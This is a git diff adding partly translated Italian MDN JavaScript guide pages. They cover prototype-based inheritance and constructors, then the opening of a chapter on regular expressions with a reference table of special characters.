+<p>Come mostra questo esempio, se si vogliono avere i valori di default per le proprietà dell'oggetto e si vuole avere la possibilità di cambiare questi valori in fase di esecuzione, si devono impostare le proprietà nel prototipo del costruttore, e non direttamente nella funzione costruttore.</p>
+
+<h3 id="Determinazione_delle_relazioni_tra_istanze">Determinazione delle relazioni tra istanze</h3>
+
+<p>In JavaScript la ricerca delle proprietà (<em>property lookup</em>) controlla prima tra le proprietà specifiche dell'oggetto e, se il nome della proprietà non viene trovato, controlla la proprietà speciale <code>__proto__</code>. Il processo, chiamato "ricerca nella catena dei prototipi" (<em>lookup in the prototype chain</em>), continua ricorsivamente .</p>
+
+<p>Quando un oggetto viene costruito, la proprietà speciale <code>__proto__</code> viene impostata al valore della proprietà <code>prototype</code> del costruttore. L'espressione <code>new Foo()</code> crea un oggetto con <code>__proto__ == <code class="moz-txt-verticalline">Foo.prototype</code></code>. Di conseguenza, le modifiche alle proprietà di <code class="moz-txt-verticalline">Foo.prototype</code> alterano la ricerca delle proprietà per tutti gli oggetti che sono stati creati con <code>new Foo()</code>.</p>
+
+<p>Ogni oggetto ha una proprietà <code>__proto__</code> (ad eccezione di <code>Object</code>); ogni funzione ha una proprietà <code>prototype</code>. Quindi gli oggetti possono essere correlati ad altri oggetti attraverso una 'ereditarietà prototipale' (<em>prototypal inheritance</em>). <span class="st">È</span> possibile verificare l'ereditarietà confrontando la proprietà <code>__proto__</code> di un oggetto con l'oggetto <code>prototype</code> di una funzione. JavaScript fornisce una scorciatoia: l'operatore <code>instanceof</code> confronta un oggetto con una funzione e restituisce <code>true</code> se l'oggetto eredita dal prototipo della funzione. Per esempio,</p>
+
+<pre class="brush: js">var f = new Foo();
+var isTrue = (f instanceof Foo);</pre>
+
+<p>Per un esempio più dettagliato, supponiamo di avere lo stesso gruppo di definizioni visto nella sezione For a more detailed example, suppose you have the same set of definitions shown in <a href="#Ereditare_le_proprietà">Ereditare le proprietà</a>. Creiamo un oggetto <code>Engineer</code> nel modo seguente:</p>
+
+<pre class="brush: js">var chris = new Engineer("Pigman, Chris", ["jsd"], "fiji");
+</pre>
+
+<p>Per questo oggetto, tutti gli enunciati seguenti sono veri:</p>
+
+<pre class="brush: js">chris.__proto__ == Engineer.prototype;
+chris.__proto__.__proto__ == WorkerBee.prototype;
+chris.__proto__.__proto__.__proto__ == Employee.prototype;
+chris.__proto__.__proto__.__proto__.__proto__ == Object.prototype;
+chris.__proto__.__proto__.__proto__.__proto__.__proto__ == null;
+</pre>
+
+<p>Dato ciò, è possibile scrivere una funzione <code>instanceOf</code> come segue:</p>
+
+<pre class="brush: js">function instanceOf(object, constructor) {
+   object = object.__proto__;
+   while (object != null) {
+      if (object == constructor.prototype)
+         return true;
+      if (typeof object == 'xml') {
+        return constructor.prototype == XML.prototype;
+      }
+      object = object.__proto__;
+   }
+   return false;
+}
+</pre>
+
+<div class="note">
+<p><strong>Nota:</strong> L'implementazione vista sopra verifica se l'oggetto è di tipo "xml" per ovviare a una stranezza nel modo in cui gli oggetti XML sono rappresentati nelle versioni recenti di JavaScript. Per i dettagli essenziali si veda il {{ bug(634150) }}.</p>
+</div>
+
+<p>Se si utilizza la funzione <code>instanceOf</code> definita in precedenza, queste espressioni sono vere:</p>
+
+<pre class="brush: js">instanceOf (chris, Engineer)
+instanceOf (chris, WorkerBee)
+instanceOf (chris, Employee)
+instanceOf (chris, Object)
+</pre>
+
+<p>Ma l'espressione seguente è falsa:</p>
+
+<pre class="brush: js">instanceOf (chris, SalesPerson)
+</pre>
+
+<h3 id="Informazioni_globali_nei_costruttori">Informazioni globali nei costruttori</h3>
+
+<p>Quando vengono creati dei costruttori, è necessario essere scrupolosi se si impostano informazioni globali all'interno del costruttore. Per esempio, se si vuole che un ID univoco venga assegnato automaticamente a ogni nuovo <code>Employee </code>si potrebbe usare la definizione seguente:</p>
+
+<pre class="brush: js">var idCounter = 1;
+
+function Employee (name, dept) {
+   this.name = name || "";
+   this.dept = dept || "general";
+   this.id = idCounter++;
+}
+</pre>
+
+<p>Con questa definizione, quando viene creato un nuovo <code>Employee</code>, il costruttore assegna l'ID seguente e incrementa il contatore globale (<code>idCounter</code>). Così, se l'istruzione successiva è la seguente, l'ID di <code>victoria </code>sarà 1, l'ID di <code>harry </code>sarà 2:</p>
+
+<pre class="brush: js">var victoria = new Employee("Pigbert, Victoria", "pubs")
+var harry = new Employee("Tschopik, Harry", "sales")
+</pre>
+
+<p>Questa a prima vista potrebbe sembrare la procedura corretta. Tuttavia, il contatore globale <code>idCounter</code> viene incrementato ogni volta che viene creato un oggetto <code>Employee</code>, per qualsiasi scopo. Se viene creata l'intera gerarchia di oggetti <code>Employee</code> mostrata in questo capitolo, il costruttore <code>Employee</code> viene chiamato ogni volta che si definisce un prototipo. Supponiamo di avere il codice seguente:</p>
+
+<pre class="brush: js">var idCounter = 1;
+
+function Employee (name, dept) {
+   this.name = name || "";
+   this.dept = dept || "general";
+   this.id = idCounter++;
+}
+
+function Manager (name, dept, reports) {...}
+Manager.prototype = new Employee;
+
+function WorkerBee (name, dept, projs) {...}
+WorkerBee.prototype = new Employee;
+
+function Engineer (name, projs, mach) {...}
+Engineer.prototype = new WorkerBee;
+
+function SalesPerson (name, projs, quota) {...}
+SalesPerson.prototype = new WorkerBee;
+
+var mac = new Engineer("Wood, Mac");
+</pre>
+
+<p>Si assuma inoltre che le definizioni omesse abbiano la proprietà <code>base</code> e chiamino il costruttore che si trova al livello superiore nella catena dei prototipi. In questo caso, nel momento in cui viene creato l'oggetto <code>mac</code>, il valore di <code>mac.id</code> sarà 5.</p>
+
+<p>A seconda dell'applicazione, può essere più o meno importante che il valore del contatore sia stato incrementato queste volte aggiuntive. Se interessa il valore esatto di questo contatore, una soluzione possibile può prevedere l'uso del costruttore seguente al posto di quello visto in precedenza:</p>
+
+<pre class="brush: js">function Employee (name, dept) {
+   this.name = name || "";
+   this.dept = dept || "general";
+   if (name)
+      this.id = idCounter++;
+}
+</pre>
+
+<p>Quando viene creata un'istanza di <code>Employee</code> che deve essere usata come prototipo, non vengono forniti argomenti al costruttore. Usando questa definizione del costruttore, quando non vengono inseriti argomenti, il costruttore non assegna un valore all'ID e non aggiorna il contatore. Quindi, affinché a un oggetto <code>Employee</code> venga assegnato un ID, è necesario specificare un nome per il dipendente. In questo esempio, l'ID di <code>mac</code> sarà 1.</p>
+
+<h3 id="JavaScript_non_supporta_l'ereditarietà_multipla">JavaScript non supporta l'ereditarietà multipla</h3>
+
+<p>Alcuni linguaggi ad oggetti ammettono l'ereditarietà multipla. Ossia, un oggetto può ereditare proprietà e valori da oggetti genitori non correlati. Javascript non supporta l'ereditarietà multipla.</p>
+
+<p>L'eredità dei valori delle proprietà si ha in fase di esecuzione quando JavaScript cerca attraverso la catena dei prototipo di un oggetto per trovare un valore. Poiché un oggetto ha un unico prototipo associato, JavaScript non può ereditare dinamicamente da più di una catena di prototipi.</p>
+
+<p>In JavaScript, è possibile che una funzione costruttore chiami al suo interno diverse funzioni costruttore. Questo dà l'illusione dell'ereditarietà multipla. Per esempio consideriamo le istruzioni seguenti:</p>
+
+<pre class="brush: js">function Hobbyist (hobby) {
+   this.hobby = hobby || "scuba";
+}
+
+function Engineer (name, projs, mach, hobby) {
+   this.base1 = WorkerBee;
+   this.base1(name, "engineering", projs);
+   this.base2 = Hobbyist;
+   this.base2(hobby);
+   this.machine = mach || "";
+}
+Engineer.prototype = new WorkerBee;
+
+var dennis = new Engineer("Doe, Dennis", ["collabra"], "hugo")
+</pre>
+
+<p>Assumiamo inoltre che la definizione di <code>WorkerBee</code> sia quella usata in precedenza in questo capitolo. In questo caso, l'oggetto <code>dennis</code> avrà queste proprietà:</p>
+
+<pre class="brush: js">dennis.name == "Doe, Dennis"
+dennis.dept == "engineering"
+dennis.projects == ["collabra"]
+dennis.machine == "hugo"
+dennis.hobby == "scuba"
+</pre>
+
+<p>Quindi <code>dennis</code> riceve la proprietà <code>hobby</code> dal costruttore <code>Hobbyist</code>. Però, se in seguito si aggiunge una proprietà al prototipo del costruttore <code>Hobbyist</code>:</p>
+
+<pre class="brush: js">Hobbyist.prototype.equipment = ["mask", "fins", "regulator", "bcd"]
+</pre>
+
+<p>L'oggetto <code>dennis</code> non erediterà questa nuova proprietà.</p>
+
+<div>{{PreviousNext("Web/JavaScript/Guide/Working_with_Objects", "Web/JavaScript/Guide/Iterators_and_Generators")}}</div>
diff --git a/files/it/web/javascript/guida/espressioni_regolari/index.html b/files/it/web/javascript/guida/espressioni_regolari/index.html
new file mode 100644
index 0000000000..f876045948
--- /dev/null
+++ b/files/it/web/javascript/guida/espressioni_regolari/index.html
@@ -0,0 +1,647 @@
+---
+title: Espressioni regolari
+slug: Web/JavaScript/Guida/Espressioni_Regolari
+translation_of: Web/JavaScript/Guide/Regular_Expressions
+---
+<div>{{jsSidebar("Guida JavaScript")}} {{PreviousNext("Web/JavaScript/Guide/Text_formatting", "Web/JavaScript/Guide/Indexed_collections")}}</div>
+
+<p class="summary">Le espressioni regolari sono schemi usati per confrontare combinazioni di caratteri nelle stringhe. In JavaScript, le espressioni regolari sono anche oggetti. Questi pattern sono usati con i metodi {{jsxref("RegExp.exec", "exec()")}} e {{jsxref("RegExp.test", "test()")}} della classe {{jsxref("RegExp")}}, e con i metodi {{jsxref("String.match", "match()")}},   {{jsxref("String.matchAll", "matchAll()")}}, {{jsxref("String.replace", "replace()")}}, {{jsxref("String.search", "search()")}}, e {{jsxref("String.split", "split()")}} della classe {{jsxref("String")}}. Questo capitolo descrive le espressioni regolari in JavaScript.</p>
+
+<h2 id="Creazione_di_unespressione_regolare">Creazione di un'espressione regolare</h2>
+
+<p>Puoi creare un'espressione regolare in uno dei seguenti modi:</p>
+
+<ul>
+ <li>
+  <p>Usando un'espressione regolare letterale, che consiste in uno schema racchiuso tra slash, come segue:</p>
+
+  <pre class="brush: js">var re = /ab+c/;
+</pre>
+
+  <p>Le Espressioni Regolari letterali forniscono la compilazione dell'espressione regolare quando lo script è caricato. Se l'espressione regolare rimane costante, usare questo modo può migliorare le prestazioni.</p>
+ </li>
+ <li>
+  <p>O chiamando il costruttore dell'oggetto {{jsxref("RegExp")}} object, come segue:</p>
+
+  <pre class="brush: js">var re = new RegExp("ab+c");
+</pre>
+
+  <p>Usando il costruttore avviene una compilazione runtime dell'espressione regolare. Usa il costruttore quando sai che lo schema dell'espressione regolare cambierà, o non sai lo schema a priori ma lo devi ricavare da un'altra risorsa, come un input dell'utente.</p>
+ </li>
+</ul>
+
+<h2 id="Scrivere_uno_schema_per_espressioni_regolari">Scrivere uno schema per espressioni regolari</h2>
+
+<p>Uno schema di espressione regolare è composto da caratteri semplici, come <code>/abc/</code>, o da una combinazione di caratteri semplici e speciali, come <code>/ab*c/</code> o <code>/Chapter (\d+)\.\d*/</code>. L'ultimo esempio include parentesi che sono usate come un dispositivo di memoria. Il confronto fatto con queste parti dello schema è ricordato per usi futuri, come descritto in  {{ web.link("#Using_parenthesized_substring_matches", "Using parenthesized substring matches") }}.</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota:</strong> Se hai già familiarità con la struttura di un'espressione regolare, potresti anche leggere <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions/Cheatsheet">il cheatsheet</a> per una rapida ricerca di un modello/costrutto specifico</p>
+</div>
+
+<h3 id="Usare_modelli_semplici">Usare modelli semplici</h3>
+
+<p><span class="tlid-translation translation" lang="it"><span title="">I modelli semplici sono costituiti da carattrei per i quali si desidera trovare una corrispondenza diretta.</span> <span title="">Ad esempio, il modello</span></span> <code>/abc/</code> <span class="tlid-translation translation" lang="it"><span title=""> corrisponde solo quando esattamente i caratteri </span></span> <code>"abc"</code> <span class="tlid-translation translation" lang="it"><span title=""> si presentano insieme e in quell'ordine.</span> <span title="">Una tale corrispondenza avrebbe successo nelle stringhe </span></span> <code>"Ciao, conosci il tuo abc?"</code> e <span class="tlid-translation translation" lang="it"> <span title=""><code>"Gli ultimi progetti di aeroplani si sono evoluti da slabcraft"</code>.</span> <span title="">In entrambi i casi la corrispondenza con la sottostringa <code>"abc"</code> avviene.</span> <span title="">Non c'è corrispondenza nella stringa <code>"Grab crab"</code> perché invece di contenere l'esatta sottostringa <code>"abc"</code> coniente la sottostringa <code>"ab c".</code></span></span></p>
+
+<h3 id="Usare_caratteri_speciali">Usare caratteri speciali</h3>
+
+<p><span class="tlid-translation translation" lang="it"><span title="">Quando la ricerca di una corrispondenza richiede qualcosa di più di una corrispondenza diretta, come la ricerca di una o più <em>b</em> o la ricerca di spazi bianchi, il modello include caratteri speciali.</span></span> Ad esempio, per abbinare una singola <code>"a" </code>seguita da zero o più <code>"b"</code> seguita da <code>"c"</code>, dovresti usare il modello <code>/ab*c/</code>: il <code>*</code> dopo <code>"b"</code> significa "0 o più occorrenze dell'elemento precedente". Nella stringa <code>"cbbabbbbcdebc"</code>, questo modello corrisponderà alla sottostringa <code>"abbbbc"</code>.<br>
+ <br>
+ <span class="tlid-translation translation" lang="it"><span title="">La tabella seguente fornisce un elenco completo e una descrizione dei caratteri speciali che possono essere utilizzati nelle espressioni regolari.</span></span></p>
+
+<table class="standard-table">
+ <caption>Caratteri speciali nelle espressioni regolari</caption>
+ <thead>
+  <tr>
+   <th scope="col">Carattere</th>
+   <th scope="col">Significato/Utilizzo</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="#special-backslash" id="special-backslash" name="special-backslash"><code>\</code></a></td>
+   <td>
+    <p>Matches according to the following rules:<br>
+     <br>
+     A backslash that precedes a non-special character indicates that the next character is special and is not to be interpreted literally. For example, a '<code>b</code>' without a preceding '\' generally matches lowercase 'b's wherever they occur. But a '<code>\b</code>' by itself doesn't match any character; it forms the special <a href="#special-word-boundary" title="#special-word-boundary">word boundary character</a>.<br>
+     <br>
+     A backslash that precedes a special character indicates that the next character is not special and should be interpreted literally. For example, the pattern <code>/a*/</code> relies on the special character '<code>*</code>' to match 0 or more a's. By contrast, the pattern <code>/a\*/</code> removes the specialness of the '<code>*</code>' to enable matches with strings like 'a*'.<br>
+     <br>
+     Do not forget to escape \ itself while using the RegExp("pattern") notation because \ is also an escape character in strings.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-caret" id="special-caret" name="special-caret"><code>^</code></a></td>
+   <td>Matches beginning of input. If the multiline flag is set to true, also matches immediately after a line break character.<br>
+    <br>
+    For example, <code>/^A/</code> does not match the 'A' in "an A", but does match the 'A' in "An E".<br>
+    <br>
+    The '<code>^</code>' has a different meaning when it appears as the first character in a character set pattern. See <a href="#special-negated-character-set" title="#special-negated-character-set">complemented character sets</a> for details and an example.</td>
+  </tr>
+  <tr>
+   <td><a href="#special-dollar" id="special-dollar" name="special-dollar"><code>$</code></a></td>
+   <td>
+    <p>Matches end of input. If the multiline flag is set to true, also matches immediately before a line break character.</p>
+
+    <p>For example, <code>/t$/</code> does not match the 't' in "eater", but does match it in "eat".</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-asterisk" id="special-asterisk" name="special-asterisk"><code>*</code></a></td>
+   <td>
+    <p>Matches the preceding expression 0 or more times. Equivalent to {0,}.</p>
+
+    <p>For example, <code>/bo*/</code> matches 'boooo' in "A ghost booooed" and 'b' in "A bird warbled", but nothing in "A goat grunted".</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-plus" id="special-plus" name="special-plus"><code>+</code></a></td>
+   <td>
+    <p>Matches the preceding expression 1 or more times. Equivalent to <code>{1,}</code>.</p>
+
+    <p>For example, <code>/a+/</code> matches the 'a' in "candy" and all the a's in "caaaaaaandy", but nothing in "cndy".</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-questionmark" id="special-questionmark" name="special-questionmark"><code>?</code></a></td>
+   <td>Matches the preceding expression 0 or 1 time. Equivalent to <code>{0,1}</code>.<br>
+    <br>
+    For example, <code>/e?le?/</code> matches the 'el' in "angel" and the 'le' in "angle" and also the 'l' in "oslo".<br>
+    <br>
+    If used immediately after any of the quantifiers *, +, ?, or {}, makes the quantifier non-greedy (matching the fewest possible characters), as opposed to the default, which is greedy (matching as many characters as possible). For example, applying <code>/\d+/</code> to "123abc" matches "123". But applying <code>/\d+?/</code> to that same string matches only the "1".<br>
+    <br>
+    Also used in lookahead assertions, as described in the <code>x(?=y)</code> and <code>x(?!y)</code> entries of this table.<br>
+     </td>
+  </tr>
+  <tr>
+   <td><a href="#special-dot" id="special-dot" name="special-dot"><code>.</code></a></td>
+   <td>
+    <p>(The decimal point) matches any single character except the newline character.</p>
+
+    <p>For example, <code>/.n/</code> matches 'an' and 'on' in "nay, an apple is on the tree", but not 'nay'.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-capturing-parentheses" id="special-capturing-parentheses" name="special-capturing-parentheses"><code>(x)</code></a></td>
+   <td>
+    <p>Matches 'x' and remembers the match, as the following example shows. The parentheses are called <em>capturing parentheses</em>.<br>
+     <br>
+     The '<code>(foo)</code>' and '<code>(bar)</code>' in the pattern <code>/(foo) (bar) \1 \2/</code> match and remember the first two words in the string "foo bar foo bar". The <code>\1 </code>and <code>\2</code> in the pattern match the string's last two words. Note that <code>\1, \2, \n</code> are used in the matching part of the regex. In the replacement part of a regex the syntax <code>$1, $2, $n</code> must be used, e.g.: <code>'bar foo'.replace( /(...) (...)/, '$2 $1' )</code>.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-non-capturing-parentheses" id="special-non-capturing-parentheses" name="special-non-capturing-parentheses"><code>(?:x)</code></a></td>
+   <td>Matches 'x' but does not remember the match. The parentheses are called <em>non-capturing parentheses</em>, and let you define subexpressions for regular expression operators to work with. Consider the sample expression <code>/(?:foo){1,2}/</code>. If the expression was <code>/foo{1,2}/</code>, the <code>{1,2}</code> characters would apply only to the last 'o' in 'foo'. With the non-capturing parentheses, the <code>{1,2}</code> applies to the entire word 'foo'.</td>
+  </tr>
+  <tr>
+   <td><a href="#special-lookahead" id="special-lookahead" name="special-lookahead"><code>x(?=y)</code></a></td>
+   <td>
+    <p>Matches 'x' only if 'x' is followed by 'y'. This is called a lookahead.</p>
+
+    <p>For example, <code>/Jack(?=Sprat)/</code> matches 'Jack' only if it is followed by 'Sprat'. <code>/Jack(?=Sprat|Frost)/</code> matches 'Jack' only if it is followed by 'Sprat' or 'Frost'. However, neither 'Sprat' nor 'Frost' is part of the match results.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-negated-look-ahead" id="special-negated-look-ahead" name="special-negated-look-ahead"><code>x(?!y)</code></a></td>
+   <td>
+    <p>Matches 'x' only if 'x' is not followed by 'y'. This is called a negated lookahead.</p>
+
+    <p>For example, <code>/\d+(?!\.)/</code> matches a number only if it is not followed by a decimal point. The regular expression <code>/\d+(?!\.)/.exec("3.141")</code> matches '141' but not '3.141'.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-or" id="special-or" name="special-or"><code>x|y</code></a></td>
+   <td>
+    <p>Matches either 'x' or 'y'.</p>
+
+    <p>For example, <code>/green|red/</code> matches 'green' in "green apple" and 'red' in "red apple."</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-quantifier" id="special-quantifier" name="special-quantifier"><code>{n}</code></a></td>
+   <td>Matches exactly n occurrences of the preceding expression. N must be a positive integer.<br>
+    <br>
+    For example, <code>/a{2}/</code> doesn't match the 'a' in "candy," but it does match all of the a's in "caandy," and the first two a's in "caaandy."</td>
+  </tr>
+  <tr>
+   <td><a href="#special-quantifier-range" id="special-quantifier-range" name="special-quantifier-range"><code>{n,m}</code></a></td>
+   <td>
+    <p>Where <code>n</code> and <code>m</code> are positive integers and <code>n &lt;= m</code>. Matches at least <code>n</code> and at most <code>m</code> occurrences of the preceding expression. When <code>m</code> is omitted, it's treated as ∞.</p>
+
+    <p>For example, <code>/a{1,3}/</code> matches nothing in "cndy", the 'a' in "candy," the first two a's in "caandy," and the first three a's in "caaaaaaandy". Notice that when matching "caaaaaaandy", the match is "aaa", even though the original string had more a's in it.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-character-set" id="special-character-set" name="special-character-set"><code>[xyz]</code></a></td>
+   <td>Character set. This pattern type matches any one of the characters in the brackets, including <a href="https://developer.mozilla.org/en-US/docs/JavaScript/Guide/Values,_variables,_and_literals#Unicode_escape_sequences" title="https://developer.mozilla.org/en-US/docs/JavaScript/Guide/Values,_variables,_and_literals#Unicode_escape_sequences">escape sequences</a>. Special characters like the dot(<code>.</code>) and asterisk (<code>*</code>) are not special inside a character set, so they don't need to be escaped. You can specify a range of characters by using a hyphen, as the following examples illustrate.<br>
+    <br>
+    The pattern<code> [a-d]</code>, which performs the same match as <code>[abcd]</code>, matches the 'b' in "brisket" and the 'c' in "city". The patterns <code>/[a-z.]+/ </code>and <code>/[\w.]+/</code> match the entire string "test.i.ng".</td>
+  </tr>
+  <tr>
+   <td><a href="#special-negated-character-set" id="special-negated-character-set" name="special-negated-character-set"><code>[^xyz]</code></a></td>
+   <td>
+    <p>A negated or complemented character set. That is, it matches anything that is not enclosed in the brackets. You can specify a range of characters by using a hyphen. Everything that works in the normal character set also works here.</p>
+
+    <p>For example, <code>[^abc]</code> is the same as <code>[^a-c]</code>. They initially match 'r' in "brisket" and 'h' in "chop."</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-backspace" id="special-backspace" name="special-backspace"><code>[\b]</code></a></td>
+   <td>Matches a backspace (U+0008). You need to use square brackets if you want to match a literal backspace character. (Not to be confused with <code>\b</code>.)</td>
+  </tr>
+  <tr>
+   <td><a href="#special-word-boundary" id="special-word-boundary" name="special-word-boundary"><code>\b</code></a></td>
+   <td>
+    <p>Matches a word boundary. A word boundary matches the position where a word character is not followed or preceeded by another word-character. Note that a matched word boundary is not included in the match. In other words, the length of a matched word boundary is zero. (Not to be confused with <code>[\b]</code>.)</p>
+
+    <p>Examples:<br>
+     <code>/\bm/</code> matches the 'm' in "moon" ;<br>
+     <code>/oo\b/</code> does not match the 'oo' in "moon", because 'oo' is followed by 'n' which is a word character;<br>
+     <code>/oon\b/</code> matches the 'oon' in "moon", because 'oon' is the end of the string, thus not followed by a word character;<br>
+     <code>/\w\b\w/</code> will never match anything, because a word character can never be followed by both a non-word and a word character.</p>
+
+    <div class="note">
+    <p><strong>Note:</strong> JavaScript's regular expression engine defines a <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-15.10.2.6">specific set of characters</a> to be "word" characters. Any character not in that set is considered a word break. This set of characters is fairly limited: it consists solely of the Roman alphabet in both upper- and lower-case, decimal digits, and the underscore character. Accented characters, such as "é" or "ü" are, unfortunately, treated as word breaks.</p>
+    </div>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-non-word-boundary" id="special-non-word-boundary" name="special-non-word-boundary"><code>\B</code></a></td>
+   <td>
+    <p>Matches a non-word boundary. This matches a position where the previous and next character are of the same type: Either both must be words, or both must be non-words. The beginning and end of a string are considered non-words.</p>
+
+    <p>For example, <code>/\B../</code> matches 'oo' in "noonday", and <code>/y\B./</code> matches 'ye' in "possibly yesterday."</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-control" id="special-control" name="special-control"><code>\c<em>X</em></code></a></td>
+   <td>
+    <p>Where <em>X</em> is a character ranging from A to Z. Matches a control character in a string.</p>
+
+    <p>For example, <code>/\cM/</code> matches control-M (U+000D) in a string.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-digit" id="special-digit" name="special-digit"><code>\d</code></a></td>
+   <td>
+    <p>Matches a digit character. Equivalent to <code>[0-9]</code>.</p>
+
+    <p>For example, <code>/\d/</code> or <code>/[0-9]/</code> matches '2' in "B2 is the suite number."</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-non-digit" id="special-non-digit" name="special-non-digit"><code>\D</code></a></td>
+   <td>
+    <p>Matches any non-digit character. Equivalent to <code>[^0-9]</code>.</p>
+
+    <p>For example, <code>/\D/</code> or <code>/[^0-9]/</code> matches 'B' in "B2 is the suite number."</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-form-feed" id="special-form-feed" name="special-form-feed"><code>\f</code></a></td>
+   <td>Matches a form feed (U+000C).</td>
+  </tr>
+  <tr>
+   <td><a href="#special-line-feed" id="special-line-feed" name="special-line-feed"><code>\n</code></a></td>
+   <td>Matches a line feed (U+000A).</td>
+  </tr>
+  <tr>
+   <td><a href="#special-carriage-return" id="special-carriage-return" name="special-carriage-return"><code>\r</code></a></td>
+   <td>Matches a carriage return (U+000D).</td>
+  </tr>
+  <tr>
+   <td><a href="#special-white-space" id="special-white-space" name="special-white-space"><code>\s</code></a></td>
+   <td>
+    <p>Matches a single white space character, including space, tab, form feed, line feed. Equivalent to <code>[ \f\n\r\t\v\u00a0\u1680\u180e\u2000-\u200a\u2028\u2029\u202f\u205f\u3000\ufeff]</code>.</p>
+
+    <p>For example, <code>/\s\w*/</code> matches ' bar' in "foo bar."</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-non-white-space" id="special-non-white-space" name="special-non-white-space"><code>\S</code></a></td>
+   <td>
+    <p>Matches a single character other than white space. Equivalent to <code>[^ \f\n\r\t\v\u00a0\u1680\u180e\u2000-\u200a\u2028\u2029\u202f\u205f\u3000\ufeff]</code>.</p>
+
+    <p>For example, <code>/\S\w*/</code> matches 'foo' in "foo bar."</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-tab" id="special-tab" name="special-tab"><code>\t</code></a></td>
+   <td>Matches a tab (U+0009).</td>
+  </tr>
+  <tr>
+   <td><a href="#special-vertical-tab" id="special-vertical-tab" name="special-vertical-tab"><code>\v</code></a></td>
+   <td>Matches a vertical tab (U+000B).</td>
+  </tr>
+  <tr>
+   <td><a href="#special-word" id="special-word" name="special-word"><code>\w</code></a></td>
+   <td>
+    <p>Matches any alphanumeric character including the underscore. Equivalent to <code>[A-Za-z0-9_]</code>.</p>
+
+    <p>For example, <code>/\w/</code> matches 'a' in "apple," '5' in "$5.28," and '3' in "3D."</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-non-word" id="special-non-word" name="special-non-word"><code>\W</code></a></td>
+   <td>
+    <p>Matches any non-word character. Equivalent to <code>[^A-Za-z0-9_]</code>.</p>
+
+    <p>For example, <code>/\W/</code> or <code>/[^A-Za-z0-9_]/</code> matches '%' in "50%."</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-backreference" id="special-backreference" name="special-backreference"><code>\<em>n</em></code></a></td>
+   <td>
+    <p>Where <em>n</em> is a positive integer, a back reference to the last substring matching the <em>n</em> parenthetical in the regular expression (counting left parentheses).</p>
+
+    <p>For example, <code>/apple(,)\sorange\1/</code> matches 'apple, orange,' in "apple, orange, cherry, peach."</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-null" id="special-null" name="special-null"><code>\0</code></a></td>
+   <td>Matches a NULL (U+0000) character. Do not follow this with another digit, because <code>\0&lt;digits&gt;</code> is an octal <a href="https://developer.mozilla.org/en-US/docs/JavaScript/Guide/Values,_variables,_and_literals#Unicode_escape_sequences" title="https://developer.mozilla.org/en-US/docs/JavaScript/Guide/Values,_variables,_and_literals#Unicode_escape_sequences">escape sequence</a>.</td>
+  </tr>
+  <tr>
+   <td><a href="#special-hex-escape" id="special-hex-escape" name="special-hex-escape"><code>\xhh</code></a></td>
+   <td>Matches the character with the code hh (two hexadecimal digits)</td>
+  </tr>
+  <tr>
+   <td><a href="#special-unicode-escape" id="special-unicode-escape" name="special-unicode-escape"><code>\uhhhh</code></a></td>
+   <td>Matches the character with the code hhhh (four hexadecimal digits).</td>
+  </tr>
+  <tr>
+   <td><a href="#special-unicode-escape-es6" id="special-unicode-escape-es6" name="special-unicode-escape-es6"><code>\u{hhhh}</code></a></td>
+   <td>(only when u flag is set) Matches the character with the Unicode value hhhh (hexadecimal digits).</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Escaping user input to be treated as a literal string within a regular expression can be accomplished by simple replacement:</p>
+
+<pre class="brush: js">function escapeRegExp(string){
+  return string.replace(/[.*+?^${}()|[\]\\]/g, "\\$&amp;"); // $&amp; means the whole matched string
+}</pre>
+
+<h3 id="Using_parentheses">Using parentheses</h3>
+
+<p>Parentheses around any part of the regular expression pattern cause that part of the matched substring to be remembered. Once remembered, the substring can be recalled for other use, as described in {{ web.link("#Using_parenthesized_substring_matches", "Using Parenthesized Substring Matches") }}.</p>
+
+<p>For example, the pattern <code>/Chapter (\d+)\.\d*/</code> illustrates additional escaped and special characters and indicates that part of the pattern should be remembered. It matches precisely the characters 'Chapter ' followed by one or more numeric characters (<code>\d</code> means any numeric character and <code>+</code> means 1 or more times), followed by a decimal point (which in itself is a special character; preceding the decimal point with \ means the pattern must look for the literal character '.'), followed by any numeric character 0 or more times (<code>\d</code> means numeric character, <code>*</code> means 0 or more times). In addition, parentheses are used to remember the first matched numeric characters.</p>
+
+<p>This pattern is found in "Open Chapter 4.3, paragraph 6" and '4' is remembered. The pattern is not found in "Chapter 3 and 4", because that string does not have a period after the '3'.</p>
+
+<p>To match a substring without causing the matched part to be remembered, within the parentheses preface the pattern with <code>?:</code>. For example, <code>(?:\d+)</code> matches one or more numeric characters but does not remember the matched characters.</p>
+
+<h2 id="Lavorare_con_le_espressioni_regolari">Lavorare con le espressioni regolari</h2>
+
